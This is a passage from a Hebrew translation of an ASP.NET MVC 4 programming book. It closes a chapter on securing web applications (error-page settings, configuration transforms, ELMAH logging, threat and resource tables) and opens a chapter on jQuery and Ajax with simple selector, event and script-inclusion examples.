 . לעסוק בסוגיה הזו בפרק שעוסק באבטחה

 :  יש שלושה ערכי מצבcustomErrorsלמאפיין 

  מצבOn לשרתי הייצור  הוא המצב הבטוח ביותר)live( , מכיוון שבמצב זה הודעות
 . השגיאה תמיד מוסתרות

  במצבRemoteOnlyאך כל הודעות , משתמשים הודעות שגיאה גנריות מוצגות לרוב ה
 . השגיאה מוצגות רק למשתמשים עם גישת שרת

  המצב הפגיע ביותר הואoff , מכיוון שבמצב זה הודעות שגיאה מפורטות נחשפות בפני
 . כל המבקרים באתר

האקרים יכולים . הודעות שגיאה מפורטות עשויות להכיל מידע על אופן הפעולה של היישום
חוט הודעות שגיאה על ידי ביצוע פעולות שגורמות לכשלים של לנצל את העובדה הזו ולס

או שיבוש ,  שבורהURLכמו למשל שליחת מידע משובש לבקר באמצעות כתובת , האתר
 . במחרוזת השאילתה כדי להעביר מחרוזת לפרמטר שמקבל מספר שלם
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ר מפתחים רבים נוהגים לנטרל את אפשרות הודעות השגיאה המותאמות אישית בעת איתו
) "mode="Off( כבויה customErrorsאפשרות הכאשר דעת שחשוב ל. תקלות בשרת הייצור

 מציג הודעת שגיאה מפורטת שכוללת בין השאר ASP.NETזמן הריצה של , ומתרחשת שגיאה
משתמשים עוינים יכולים לנצל פרצות כאלו כדי לגנוב . את קוד המקור בנקודות השגיאה
שהם יוכלו לנצל כדי ) פוטנציאליות(אתר נקודות תורפה חלקים נרחבים מהקוד שלכם ול

 . לגנוב מכם נתונים או להשבית את היישום שלכם

הסיבה העיקרית לבעייתיות הזו היא בכך שמפתחים רבים מחכים למקרה חירום לפני שהם 
לפיכך הפתרון המתבקש הוא להקדים תרופה למכה . מתחילים לחשוב על טיפול בשגיאות

 . פול בשגיאות לפני שמכה בכם אסוןולחשוב על טי

 התמרות תצורהבשימוש 

, )למשל, בסביבת הבדיקות(ישה להודעות שגיאה מפורטות בשרתים אחרים אם אתם צריכים ג
 customErrors לניהול הגדרות web.configשל ) transformation(בהַתְמָרָה מומלץ להשתמש 

התשתית יוצרת באופן ,  חדשASP.NET MVC 4 כאשר יוצרים יישום .לתצורת הבנייהבהתאם 
ובאפשרותכם להוסיף בקלות התמרות , release - וdebug למצבי  תצורההתמרותאוטומטי 

אשר כלול בכל , Web.Release.config קובץ ההתמרה. כרצונכם שמותאמות לסביבות אחרות
 : מכיל את הקוד שלהלן, ASP.NET MVCיישום 

<system.web> 

 <compilation xdt:Transform="RemoveAttributes(debug)" /> 

 <!-- 

  In the example below, the "Replace" transform will replace the entire 

  <customErrors> section of your web.config file. 

  Note that because there is only one customErrors section under the 

  <system.web> node, there is no need to use the "xdt:Locator" attribute. 

 

  <customErrors defaultRedirect="GenericError.htm" 

   mode="RemoteOnly" xdt:Transform="Replace"> 

   <error statusCode="500" redirect="InternalError.htm"/> 

  </customErrors> 

 --> 

</system.web> 

 בעת RemoteOnly למצב customErrorsו כוללת חלק שמסומן כהערה להחלפת מצב התמרה ז
עליכם להוציא את האלמנט , כדי להפעיל את ההתמרה הזו . Releaseבנייה של יישומים במצב 

customErrorsכמוצג בקוד שלהלן,  מחוץ לסימון ההערה : 
<system.web> 

 <compilation xdt:Transform="RemoveAttributes(debug)" /> 

 <!-- 

  In the example below, the "Replace" transform will replace the entire 

  <customErrors> section of your web.config file. 

  Note that because there is only one customErrors section under the 
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  <system.web> node, there is no need to use the "xdt:Locator" attribute. 

 --> 

  <customErrors defaultRedirect="GenericError.htm" 

   mode="RemoteOnly" xdt:Transform="Replace"> 

   <error statusCode="500" redirect="InternalError.htm"/> 

  </customErrors> 

 

</system.web> 

 שימוש במערכת תיעוד שגיאות ייעודית

ללא תלות בסביבה , customErrorsהפתרון הטוב ביותר הוא לא לכבות לעולם את האפשרות 
מומלץ מאוד להשתמש במערכות תיעוד שגיאות ייעודית , כמו כן. שבה מריצים את היישום

, NuGet היא ספרייה שמופצת בחינם דרך ELMAHמערכת ). שכבר הזכרנו (ELMAHכגון 
אפשרות לסקור את פרטי השגיאות של היישום בצורה וכוללת מגוון של שיטות אשר מ

 לתיעוד פרטי השגיאות לתוך טבלה ELMAHניתן להשתמש במערכת , לדוגמה. מאובטחת
למידע נוסף על ההגדרות של מערכת . בבסיס הנתונים שבשום מקרה אינה נחשפת באתר

ELMAHבקרו בכתובת ,  והשימוש בהhttps://code.google.com/hosting/ . 

 יכום סוגיות האבטחה ומשאבים שימושייםס
ופתרונות לכמה מסוגיות האבטחה השכיחות ,  מוצג סיכום של האיומים העיקריים7-1בטבלה 

 . בהקשר של יישומי אינטרנט

 ASP.NETאבטחת יישומי : 7-1טבלה 

 פתרונות איום

צאו מנקודת הנחה שהיישומים שלכם . למְִדו את החומר שאננות
אחראים על אבטחת הנתונים , המפתחים, תםזכרו שא. ייפרצו

 . של המשתמשים שלכם

  XSSמתקפת 
)Cross-Site Scripting( 

קודדו . HTMLהעבירו את כל התכנים שלכם קידוד 
השתמשו . JavaScriptאל תוותרו על קידוד . מאפיינים
 . AntiXSSבספרייה 

  CSRFמתקפת 
)Cross-Site Request Forgery( 

אימות . אדימפוטנטיות GET בקשות .אסימוני אבטחה
HttpReferrer . 

 - כדי להוסיף שדות לBindהשתמשו במאפיין הסימון  קלט-עודף

whitelist הימנעו משימוש ב. באופן מפורש-blacklist . 
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אך ,  מספקת את הכלים הדרושים כדי שתוכלו לאבטח את האתר שלכםASP.NET MVCתשתית 
אבטחה אמיתית מושגת על ידי . לים הללו בצורה מושכלתאתם אלה שאחראים ליישם את הכ

ועליכם לבצע מעקבים ולהקפיד על התאמת מנגנוני האבטחה לאיומים , פעילות בלתי פוסקת
לרשותכם עושר של משאבים . אך אינכם לבד במערכה, האחריות היא שלכם. המשתנים
. בעולם אבטחת הרשת הכלליוגם , Microsoftגם בעולם פיתוח יישומי האינטרנט של , מצוינים
 .  תוכלו למצוא כמה מהמשאבים הללו7-2בטבלה 

 ASP.NETמשאבים לאבטחת יישומי : 7-2טבלה 

 URLכתובת  משאב

מרכז האבטחה למפתחים 
 Microsoftשל 

http://msdn.microsoft.com/en-us/security/default.aspx 

 Beginnning: ספר

ASP.NET Security מאת 
Barry Dorrans 

http://www.wrox.com/WileyCDA/WroxTitle/Beginning-
ASPNET-Security.productCd-0470743654.html 

: ספר אלקטרוני חינמי
OWASP Top 10 for NET 

developers 

http://www.troyhunt.com/2010/05/owasp-top-10-for-
netdevelopers-part-1.html 

Microsoft Code Analysis 
Tool .NET (CAT.NET) 

http://www.microsoft.com/downloads/details.aspx?FamilyId
=0178e2ef-9da8-445e-9348-c93f24cc9f9d&displaylang=en 

 /AntiXSS http://antixss.codeplex.comספריית 

צוות אבטחת המידע של 
Microsoft) יוצרים של ה
AntiXSS ושל CAT.NET( 

http://blogs.msdn.com/securitytools 

הפרויקט הפתוח לאבטחת 
 )OWASP(יישומי אינטרנט 

http://www.owasp.org/ 

 סיכום
 נותנת לכם שליטה ASP.NET MVCתשתית : אך נחזור שוב ושוב, אמרנו זאת בתחילת הפרק

החופש הזה נותן . רבה ומוותרת על חלק גדול מההפשטה שמאוד הפריעה לחלק מהמפתחים
 . וח באה אחריותועם הכ, לכם יותר כוח

 עשה ככל ASP.NET MVCוהצוות של ,  היא לנתב אתכם למסלול הנכוןMicrosoftהגישה של 
כל אדם חושב . שביכולתו כדי שהפתרון הנכון לכל תרחיש יהיה ברור וקל לפיתוח ביישום

 קיבל החלטות בנוגע לתשתית שלא ASP.NET MVCואין ספק שבעבר הצוות של , בצורה שונה
, החדשות הטובות הן. ו בקנה אחד עם הדרך שבה אתם נוהגים לעשות דבריםבהכרח על

 זהו -שבמצבים אלה ניתנת לכם אפשרות ליישם את האמצעים הללו בדרך הייחודית שלכם 
 . ASP.NET MVCכל הרעיון מאחורי 



 205   הרשאה ואבטחה,  רישום משתמשים:7פרק 

האבטחה צריכה להעסיק אתכם בכל שלבי תהליך . אין פתרון קסם לכל סוגיות האבטחה
אבטחת בסיס נתונים הרמטית ניתנת . סגרת היישום ושל כל רכיב בתוכוהפיתוח של מ

ולכן מנגנוני ניהול של משתמשים , SQLלעקיפה אם היישום שלכם חשוף למתקפות הזרקת 
קפדניים ככל שיהיו יקרסו כמו מגדל קלפים אם התוקף יצליח לגרום למשתמשים לחשוף את 

מומחים . גון הפניית המשך פתוחהשם המשתמש והסיסמה שלהם באמצעות טכניקות כ
לאבטחת מחשבים ממליצים לאבטח קווי הגנה ארוכים באמצעות אסטרטגיה שנקראת הגנה 

מתייחס להצבה של מספר , שמקורו באסטרטגיה צבאית, מונח זה). defense in depth(לעומק 
אר המערכת כולה לא תאוים ותיש, שכבות הגנה כדי שגם במקרה של פריצה באחת השכבות

 . מאובטחת

: רוב תקלות האבטחה נובעות בסופו של דבר ממספר בעיות קלות לפתרון מצידו של המפתח
בפרק זה עשינו ככל שביכולתנו כדי להציג את . וידע לוקה בחסר, מידע שגוי, הנחות שגויות

הדרך הטובה ביותר להתגונן היא להכיר את האויבים . האויבים שמאיימים על האתרים שלכם
 . למְִדו כמה שיותר כדי שתהיו מוכנים לקרב. ר את עצמכםולהכי
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 8פרק 

Ajax 

Scott Allen 

 

 עיקרי הפרק

  הכרת הספרייהjQuery  

  שימוש בסייעיAjax  

 אימות נתונים בצד הלקוח 

  שימוש בתוספים)plugins ( שלjQuery 

 

 היא ראשי AJAXהמילה . Ajaxנדיר למצוא כיום יישומי אינטרנט חדשים ללא אלמנטים של 
 הוא ביטוי שמייצג את כל Ajax, ועלבפ. Asynchronous Javascript And Xmlהתיבות של 

הטכניקות שמשמשות אותנו כמפתחים לבנייה של יישומי אינטרנט אינטראקטיביים אשר 
עלינו , כדי לגרום לאתרים להגיב לקלט מהלקוח. מספקים ללקוח חוויית גלישה עשירה יותר

חינה אך מב, )asynchronous communication(להשתמש מדי פעם בתקשורת אסינכרונית 
יכולת התגובה של האתר באה לידי ביטוי בעיקר באמצעות הנַפְשָוֹת מהוקצעות ושינויי , חיצונית
או , אם תצליחו להשתמש בגירויים ויזואליים כדי לגרום למשתמשים לפעול נכון. צבעים

 . הם יהנו מהחוויה ויחזרו לביקורים נוספים, להחליט על פעולות נכונות בעת השימוש ביישום

ASP.NET MVC 4ובדומה לשאר תשתיות האינטרנט ,  היא תשתית אינטרנט מודרנית
 שמספקת Ajaxאפשרויות .  כבר מהרגע הראשוןAjaxהיא מספקת תמיכה לשילוב , המודרניות

 החשובות Ajaxרוב אפשרויות . jQuery בשם JavaScriptהתשתית מבוססות בעיקר על ספריית 
 .  או מרחיבות אותםjQuery משתמשות בכלים ASP.NET MVC 4של 

עלינו לרענן את ידיעותינו על , ASP.NET MVC 4 ביישומי Ajaxכדי להבין מה ניתן לעשות עם 
jQueryואף להרחיב אותן  . 
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jQuery  
והוא מתאר בצורה מדויקת את חווית , "לעשות יותר, לכתוב פחות" הינו jQueryהמוטו של 

הספרייה עצמה גמישה , תמציתי אך יעיל) API(ממשק תכנות היישומים . השימוש בספרייה
הדפדפנים מספקת תמיכה לכל  jQueryת והדובדבן שבקצפת הוא שספריי, אך קלת משקל

ומטשטשת בעיות , )Chrome- וInternet Explorer ,Firefox ,Safari ,Operaלרבות (המודרניים 
חתת נפח הקוד בנוסף להפ. תאימות ובאגים שעשויים לגרום לשיבושים ביישום שלכם

 גם חוסכת למתכנן והמתכנת jQueryספריית , ולקיצור פרק הזמן הנדרש לסיום העבודה
 . תסכול רב

jQuery היא אחת מספריות JavaScriptוהיא ממשיכה להתפתח ,  הפופולריות ביותר כיום
) plugins(והתוספים המסמכים , תוכלו למצוא את הגרסאות. פתוחולהתרחב כפרויקט קוד 

.  שלכםASP.NET MVC נכללת גם ביישומי jQueryספריית . jquery.comניים ביותר באתר העדכ
 ASP.NET MVCותבנית הפרויקט ליישומי , jQuery מספקת תמיכה מלאה עבור Microsoftחברת 

בכל פעם שיוצרים פרויקט ) Scriptsהם נמצאים בתיקייה (מספקת את כל הקבצים הנחוצים 
MVCבגרסה .  חדשMVC 4, תסריטי jQuery מותקנים באמצעות NuGet , והדבר מאפשר לשדרג

 .jQueryאת התסריטים בקלות רבה בכל פעם שיוצאת גרסה חדשה של 

 כדי לספק אפשרויות פעולה jQuery מסתמכת על MVCתשתית , כפי שתראו במהלך הפרק
 .  וטיפול בפניות אסינכרוניותהלקוחכגון אימות בצד , שונות

הבה נציג סקירה של מגוון , ASP.NET MVCאפשרויות שכלולות בתשתית לפני שנתעמק ב
 . jQuery-אפשרויות שעומדות לרשותנו ב

  jQueryאפשרויות 

לאחר . HTML שבמסמכי HTMLסריקה ועריכה של מאפייני ,  מצטיינת באיתורjQueryספריית 
בו להטמיע : לפעול על האלמנט בדרכים שונותהספרייה מאפשרת ,  כלשהואלמנטאיתור 

בסעיף זה נבחן את . Ajaxלהנפיש אותו או לבנות סביבו אינטראקציות , מטפלי אירועים
הפונקציה : jQueryאך תחילה נלמד על שער הכניסה ליכולות השונות של , היכולות הללו

jQuery . 

 jQueryהפונקציה 

תחילים מפתחים שרק מ. jQuery מספקת גישה לאפשרויות השונות של jQueryפונקציית 
חלק מהבלבול נובע .  מתקשים לעתים להבין את הפונקציה הזוjQueryלהשתמש בספריית 

$ הסמל ($ נכתבת בצורה מקוצרת באמצעות הסמל ) jQueryאשר נקראת (מכך שהפונקציה 
). והקיצור מייעל את ההקלדה ומונע שגיאות, JavaScriptהוא שם פונקציה חוקי בשפת 

כאשר הפונקציה מפרשת באופן ($ יפוס של ארגומנט לפונקציה היכולת להעביר כמעט כל ט
בקוד שלהלן מודגמים מספר . רק מעצימה את הבלבול) אוטומטי מה המתכנת רוצה להשיג

 : jQueryשימושים שכיחים בפונקציה 
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$(function () { 

 $("#album-list img").mouseover(function () { 

  $(this).animate({ height: '+=25', width: '+=25' }) 

       .animate({ height: '-=25', width: '-=25' }); 

 }); 

}); 

 JavaScriptומעבירה לה פונקציית ) $ (jQueryשורת הקוד הראשונה קוראת לפונקציה 
 . אנונימית בתור הפרמטר הראשון

$(function () { 

 $("#album-list img").mouseover(function () { 

  $(this).animate({ height: '+=25', width: '+=25' }) 

      .animate({ height: '-=25', width: '-=25' }); 

 }); 

}); 

 מניחה שאתם מעבירים פונקציה שברצונכם jQueryהפונקציה . הפרמטר הראשון הוא פונקציה
 document object(מודל אובייקט המסמך ליצור את מבנה  מיד לאחר שהדפדפן מסייםלהריץ 

model - DOM (על פי ה-HTML הקוד יופעל כאשר תושלם טעינת ,  כלומר- שהתקבל מהשרת
זה השלב שבו ניתן להריץ בבטחה תסריטים על מבנה האלמנטים . הדף שנשלח מהשרת

  ."DOM ready"הוא אירוע והמונח המקובל הוא למצב הזה , המרכיבים את הדף

 : "album-list img#" את המחרוזת jQuery הבשורת הקוד השנייה מעבירים לפונקצי
$(function () { 

 $("#album-list img").mouseover(function () { 

  $(this).animate({ height: '+=25', width: '+=25' }) 

      .animate({ height: '-=25', width: '-=25' }); 

 }); 

}); 

 סלקטורים ).selector( סלקטורה בתור  מקבלת מחרוזת ומתייחסת אליjQueryהפונקציה 
אתם יכולים לאתר . DOM איזה אלמנטים ברצונכם לאתר במבנה jQuery-מאפשרים לומר ל

. לפי המיקום היחסי שלהם ועוד, לפי שם המחלקה, אלמנטים לפי ערכי המאפיינים שלהם
אשר , נט למצוא את כל התמונות בתוך האלמjQuery-מורה ל הסלקטור בשורה השנייה שבקוד

 . album-list שלו הוא idערך 

.  מערך אלמנטים אשר מונה אפס או יותר אלמנטים תואמיםהוא מחזיר, סלקטור מורץהכאשר 
השיטה , לדוגמה.  נוספת שתזמְַנו תופעל על כל האלמנטים במערךjQueryכל שיטת 
mouseover מקצה מטפל אירוע לאירוע onmouseoverשתואם,  של כל אלמנט תמונה 

 . לקריטריונים של הסלקטור

של ) functional programming( מנצלת את יכולות התכנות הפונקציונלי jQueryספריית 
JavaScript . לעתים קרובות תידרשו ליצור פונקציות ולהעבירן כפרמטרים לשיטותjQuery .

ל סוגי  בכonmouseover לחבר מטפל אירוע לאירוע כיצדיודעת , לדוגמה, mouseoverהשיטה 
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כדי להגדיר מה אתם רוצים . עליה לעשות במקרה של אירועמה אך אינה יודעת , הדפדפנים
 : עליכם להעביר פונקציה שמכילה את קוד הטיפול באירוע, שיקרה כאשר האירוע מתרחש

$(function () { 

 $("#album-list img").mouseover(function () { 

  $(this).animate({ height: '+=25', width: '+=25' }) 

       .animate({ height: '-=25', width: '-=25' }); 

 }); 

}); 

ציון . mouseoverבדוגמה זו סיפקנו קוד שגורם להנפשה של האלמנט במקרה של אירוע 
 מצביעה thisהמילה . (thisהאלמנט שמונפש באמצעות הקוד נעשה באמצעות מילת המפתח 

 jQueryפונקציה תחילה אל השימו לב שהאלמנט מועבר . )האירועאל אלמנט שבו קרה 
)$(this)( ,ומחזירה מערך אלמנטים שמכיל את , אשר מתייחסת לארגומנט כהפניה לאלמנט

 . האלמנט הרצוי

 כגון jQueryאנחנו יכולים לקרוא לשיטות ,  משיגה את האלמנטjQueryלאחר שפונקציית 
animate הגדלת הרוחב (וגמה גורם לאלמנט לגדול מעט הקוד שבד. כדי לערוך בו שינויים
 ).  פיקסלים25-הפחתת הרוחב והגובה ב(ולאחר מכן להצטמק , ) פיקסלים25-והגובה ב

הם מקבלים לכך חיווי , כאשר משתמשים מציבים את סמן העכבר מעל תמונת אלבום, כעת
קינה של האם ההתנהגות הזו חיונית לפעולה ת. בצורת התרחבות והצטמקות של התמונה

המשתמשים . אשר מקנה לאתר מראה מקצועי, אך זהו אפקט פשוט ליישום. לא? היישום
 !באתר יאהבו זאת

אך תחילה נבחן בצורה מעמיקה יותר את , במהלך הפרק אפשרויות נוספות שהן בגדר רשות
 .  שזקוקים להם בדרך כללjQueryכלי 

 jQueryהסלקטורים של 

. DOM לצורך בחירת אלמנט ממבנה jQuery לפונקציית סלקטורים הם מחרוזות שמועברות
אם .  כסלקטור לאיתור תגיות תמונה"album-list img#"מחרוזת העברנו את ההקודם בסעיף 

אתם , )CSS(המחרוזת הזו מזכירה לכם משהו שעשוי לשמש אותנו בגיליון סגנון מדורג 
. עם מספר תוספות, CSS 3.0 מבוסס על סלקטורים של jQueryתחביר הסלקציה של . צודקים
 .  טיפוסיjQuery מפורטים כמה מהסלקטורים שמופיעים לעתים קרובות בקוד 8-1בטבלה 

, מחלקות- לפסבדוjQueryהשורה האחרונה בטבלה הינה דוגמה לתמיכה שמספקת ספריית 
מחלקות מאפשר -שימוש בפסבדו. CSSאשר זהות לאלו שבוודאי מוכרות לכם מגיליונות 

תוכלו למצוא . קישורים שביקרתם בהם ועוד, זוגי-מנטים בעלי מספר זוגי או אילבחור אל
 . /http://www.w3.org/TR/css3-selectorsבכתובת  CSSרשימה מלאה של הסלקטורים של 
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 סלקטורים נפוצים: 8-1טבלה 

 משמעות דוגמה

$(˝#header˝)  איתור האלמנט שערךid שלו הוא "header " 

$(˝.editor-label˝)  איתור כל האלמנטים עם שם מחלקה".editor-label" 

$(˝div˝)  איתור כל האלמנטים מסוג<div> 

$(˝#header div˝)  איתור כל האלמנטים מסוג<div> אלמנט שערך ה תחתid שלו הוא 
"header" 

$(˝#header > div˝)  איתור כל האלמנטים מסוג<div> תחת האלמנט שערך  ישירותid 
 "header "שלו הוא

$(˝a:even˝) מספר זוגיאיתור תגיות עוגן בעלות  

  jQueryאירועי 

ואשר משמש ,  שמספקת הספרייהAPI הוא ממשק jQueryאחד מהיתרונות המשמעותיים של 
 גנרית כדי לתפוס bindלמרות שאפשר להשתמש בפונקציית . DOMלרישום אירועים במבנה 

 מספקת מספר שיטות jQueryספריית , חרוזתכל אירוע על ידי העברת שם האירוע כמ
ניתן להגדיר , כפי שהדגמנו קודם. submit- וclick ,blurייעודיות לאירועים נפוצים כגון 

הפונקציה .  כיצד להגיב במקרה של אירוע על ידי העברת פונקציה כפרמטרjQueryלפונקציית 
אך ניתן גם , שבתחילת הפרק" jQueryהפונקציה "כבדוגמה שבסעיף , יכולה להיות אנונימית

 : כמוצג בקוד שלהלן, להעביר פונקציה שמית אשר תופעל בתגובה לאירוע

$("#album-list img").mouseover(function () { 

 animateElement($(this)); 

}); 

function animateElement(element) { 

 element.animate({ height: '+=25', width: '+=25' }) 

     .animate({ height: '-=25', width: '-=25' }); 

} 

תוכלו , חלק מהקוד של מטפל אירועבאלה שהם או , DOMלאחר בחירה במספר אלמנטי 
אתם יכולים לקרוא את .  כדי לערוך אלמנטים בדף בקלות רבהjQueryלהשתמש באפשרויות 

 לאלמנטים או CSSלהוסיף מחלקות , ערכי המאפיינים של האלמנטים ולהציב בהם ערכים
בדף מתגיות עוגן  highlightהסרה של המחלקה ולהוספה הקוד שלהלן משמש . להסירן ועוד

המראה של תגיות העוגן , לאחר הוספת הקוד. בעת מעבר של סמן העכבר מעל האלמנט
 highlightבהנחה שהסגנון (ישתנה בכל פעם שהמשתמש יעביר את סמן העכבר מעל התגית 

 ). הוגדר כהלכה
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$("a").mouseover(function () { 

 $(this).addClass("highlight"); 

}).mouseout(function () { 

 $(this).removeClass("highlight"); 

}); 

 : שימו לב לשתי הערות חשובות המתייחסות לקוד

  כל שיטתjQueryכמו למשל השיטה ,  מערך אלמנטים שאתם מפעילים עלmouseover ,
 נוספות על jQueryהדבר מאפשר לקרוא לשיטות . רז שעליו הופעלהמחזירה את המא

הטכניקה . האלמנטים שנבחרו באמצעות הסלקטור מבלי שתצטרכו לאתר אותם מחדש
 . שרשור שיטותהזו נקראת 

  ספרייתjQueryיצירת אפקטים שמופעלים .  כוללת קיצורים למגוון פעולות נפוצות
וכך גם הַחָלהָ והסרה ,  הינה פעולה נפוצהmouseout- וmouseoverבתגובה לאירועי 
 שכאלה ניתן לשכתב את קטע הקוד jQueryבאמצעות קיצורי . של מחלקת סגנון

 : יראה כךיהקוד המקוצר . האחרון
$("a").hover(function () { 

 $(this).toggleClass("highlight"); 

}); 

 . jQueryשל  וזה היופי -עוצמה רבה טמונה בשלוש שורות הקוד הללו 

jQueryו -Ajax 

 מספקת את כל מה שדרוש כדי לשלוח בקשות אסינכרוניות חזרה אל שרת jQueryספריית 
 כאשר jQuery-ולקבל התראה מ, GET או בקשות POSTאתם יכולים להפיק בקשות . האינטרנט

 XML ניתן גם לשלוח ולקבל נתוני jQueryבאמצעות ). או במקרה של שגיאה(הבקשה הושלמה 
צריכת נתונים בפורמט , אך כפי שתיווכחו במהלך הפרק, )Ajax של x- זהו הXML, אחרי הכול(

HTML , טקסט אוJSON) JavaScript Object Notation (קל מאוד ליישם . היא עניין טריוויאלי
 . jQuery עם Ajaxטכניקות 

ה על האופן  שהיא השפיע, פישטה תהליכים במידה משמעותית עד כדי כךjQuery, למעשה
 . שמפתחי אינטרנט כותבים קוד תסריט

Unobtrusive JavaScript  

היה נהוג לערבב קוד , ) נכנסה לחיינוjQueryלפני שספריית (בראשית ימיה של הרשת 
JavaScript ותגיות HTMLמפתחים גם לא היססו לשלב קוד .  באותו קובץJavaScript בתוך 

 כדוגמת onclick נתקלתם בעבר במטפל אירוע בוודאי.  כערך של מאפייןHTMLאלמנט 
 :המטפל שלהן

<div onclick="javascript:alert('click');">Testing, testing</div> 

מכיוון שלא ,  מוטמעJavaScriptבאותם ימים ייתכן אפילו שכתבתם בעצמכם תגיות עם קוד 
 עושה את JavaScriptהטמעת ). לחיצות עכבר(הייתה דרך טובה יותר לתפוס אירועי הקלקה 
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 הביאה לשינוי תפיסתי על ידי jQueryספריית . אך הקוד שמתקבל מאוד מבולבל, העבודה
הגישה החדשה . הצגת גישה הרבה יותר יעילה לאיתור אלמנטים ולתפיסת אירועי הקלקה

 .  בכללHTMLומדפי , HTML מהמאפיינים של התגיות JavaScriptמאפשרת להוציא את קוד 

Unobtrusive JavaScript היא גישה שמעודדת הפרדה של קוד JavaScriptכל .  מהתגיות
תראו אך , אם תתבוננו בקוד המקור של תצוגה. jsקוד התסריט הדרוש ליישום נארז בקבצי 

 שממומש על ידי התצוגה לא תמצאו HTMLגם בדף . JavaScriptורק תגיות נקיות ללא 
JavaScript . יא תגיות הלתסריט התזכורת היחידה<script>  שמפנות לקבציJavaScript. 

unobtrusive JavaScriptמכיוון שהיא מכבדת את עיקרון הפרדת ,  היא הגישה המתבקשת
התגיות שאחראיות על . ASP.NET MVCהתפקידים אשר מהווה אחד מעמודי התווך של תשתית 

 לשימוש .  שמכתיב את ההתנהגותJavaScriptהתצוגה נשמרות במיקום נפרד מקוד 
אחסון התסריטים בקבצים ,  יש יתרונות נוספים כמו למשלunobtrusive JavaScript -ב

שניתנים להורדה בנפרד אשר תורם לשיפור ניכר בביצועי האתר מכיוון שהדבר מאפשר 
 . לדפדפן לאחסן את קבצי התסריט במטמון המקומי

unobtrusive JavaScript ה פרוגרסיביתמָהעצָשנקראת אסטרטגיה באתר מאפשר ליישם  גם .
 מתאר גישה שמתמקדת בהגשת )progressive enhancement(העצמה פרוגרסיבית המונח 
רק כאשר ההתקן או הדפדפן שמשמשים להצגת התוכן תומכים באפשרויות כגון . תכנים

. ישולבו בדף המוצג אפשרויות מתקדמות כמו תמונות מונפשות, תסריטים וגליונות סגנון
:  למצוא מידע נוסף בנושא בערך של ויקיפדיה שעוסק בהעצמה פרוגרסיביתתוכלו

http://en.wikipedia.org/wiki/Progressive_enhancement . 

במקום לשלב קוד . JavaScriptבעבודה עם  unobtrusive מאמצת גישה ASP.NET MVCתשתית 
JavaScriptתשתית מפזרת נתוני מטא ה,  בתצוגות כדי לבצע משימות כגון אימות בצד הלקוח

)metadata ( במאפייניHTML . באמצעותjQuery , התשתית יכולה לאתר ולפרש את נתוני
כל זה נעשה באמצעות קבצי תסריט . ולאחר מכן לשייך התנהגויות לאלמנטים, המטא

 ASP.NET של Ajax פותח עבור אפשרויות unobtrusive JavaScriptיישום עקרונות . חיצוניים

MVCהאתר , אם הדפדפן של המשתמש אינו תומך בתסריטים. כולת של העצמה פרוגרסיבית י
 . כמו למשל אימות בצד הלקוח, אך ללא תוספות העשרה, שלכם עדיין יפעל

עליכם ללמוד תחילה כיצד ,  בפועלunobtrusive JavaScriptכדי להבין כיצד ליישם את גישת 
 . MVC בכתיבת יישום jQueryלהשתמש בספריית 

  jQueryשימוש בספריית 

 מספקות את כל הדרוש כדי להשתמש ASP.NET MVC לפרויקט Visual Studioהתבניות של 
 שמכילה Scriptsכל פרויקט חדש מכיל תיקיית .  בעת יצירת פרויקט חדשjQueryבאפשרויות 
 . 8-1כמוצג בתרשים , jsמספר קבצי 
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כאשר נכון לזמן הכתיבה , jquery-<version>.js הראשית היא קובץ בשם jQueryספריית 
בתוך הקובץ תמצאו גרסה קריאה ומתועדת היטב של קוד . 1.6.2מספר הגרסה שלו היה 

 .jQueryהמקור של 

. jQuery שמשמשת להפניה אל קובץ <script> דרושה תגית jQuery-כדי להתחיל להשתמש ב
מכיוון שסביר , שום שלכםשל היי) _layoutקובץ (נהוג להציב את התגית במערך הפריסה 

הדרך הפשוטה ביותר לעשות זאת .  תשמשנה בכל חלקי היישוםjQueryלהניח שאפשרויות 
 : מודגמת בקוד שלהן

<script src="~/Scripts/jquery-1.6.2.js"></script> 

 8-1תרשים    

ט לשורש של אתר האינטרנ" ~" מתרגם את האופרטור ASP.NET MVC של Razorמנוע התצוגה 
, HTML 5עם חשוב גם לציין שכאשר עובדים . srcעל אף שהאופרטור מופיע במאפיין , הנוכחי

 ).כמו בגרסאות קודמות (text/javascript עם הערך typeאין צורך להגדיר את המאפיין 

 תסריטים מותאמים אישית

ריטים תוכלו להוסיפו כקבצים חדשים בתיקיית התס, JavaScriptכאשר כותבים בעצמכם קוד 
ואז אתם יכולים להטמיע את הקוד ישירות , unobtrusive JavaScriptאלא אם כן אתם כותבים (

הפרק אנחנו יכולים להכניס את הקוד מתחילת , לדוגמה).  אבל הדבר אינו מומלץ-בתצוגות 
 :MusicScripts.jsקובץ הלהלן תוכן .  בתיקיית התסריטיםMusicScripts.jsלקובץ בשם 

$(function () { 

 $("#album-list img").mouseover(function () { 

  $(this).animate({ height: '+=25', width: '+=25' }) 

     .animate({ height: '-=25', width: '-=25' }); 

 }); 

}); 

תגית .  נוספת(<script>) אל היישום נזדקק לתגית תסריט MusicScripts.jsכדי להוסיף את 
 MusicScripts.jsמכיוון שהקובץ , jQueryת להופיע במסמך אחרי תגית התסריט של התסריט חייב
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אם התסריט מכיל . והדפדפן טוען תסריטים לפי סדר הופעתם במסמך, jQuery-משתמש ב
כדאי למקם את תגית התסריט במערך הפריסה , פעולות שישמשו אתכם בכל חלקי היישום

_Layout , אחרי תגית התסריט שלjQuery . בדוגמה זו נשתמש בתסריט בדף הבית של היישום
מכיוון שמנוע  (Home של הבקר Indexולכן ניתן להוסיפו במיקום כלשהו בתצוגה , בלבד

 ). jQueryלאחר תגית התסריט של , התצוגה מציב את תכני התצוגה הממומשת בגוף הדף

<div id="promotion"> 

</div> 

 

<h3><em>Fresh</em> off the grill</h3> 

@section Scripts { 

 <script src="~/Scripts/MoviesScripts.js")"></script> 

} 

 במקטעיםמיקום תסריטים 

יופיע   שבהם התסריטRazorדרך נוספת להזריק תסריטים לפלט היא על ידי הגדרה של מקטעי 
 להוסיף מקטעים מותאמים אישית תוכלו. section@כתוצאה של שימוש במילת המפתח 

 חדש כוללת מקטע ASP.NET MVC ביישום Layout_אולם תצוגת ברירת המחדל , משלכם
והוא מופיע לאחר , "scripts"המקטע נקרא . jQuery-שנועד במיוחד להוספת תסריטים מבוססי

 . jQuery- כדי לאפשר לכם ליצור תסריטים מותאמים אישית תלוייjQueryטעינת 

 לצורך הזרקת תסריטים יחודיים scripts המקטע כעת נוכל להוסיף לכל תצוגת תוכן את
 :לתצוגה בכותרת

@section scripts{ 

 <script src="~/Scripts/MusicScripts.js") 

></script> 

} 

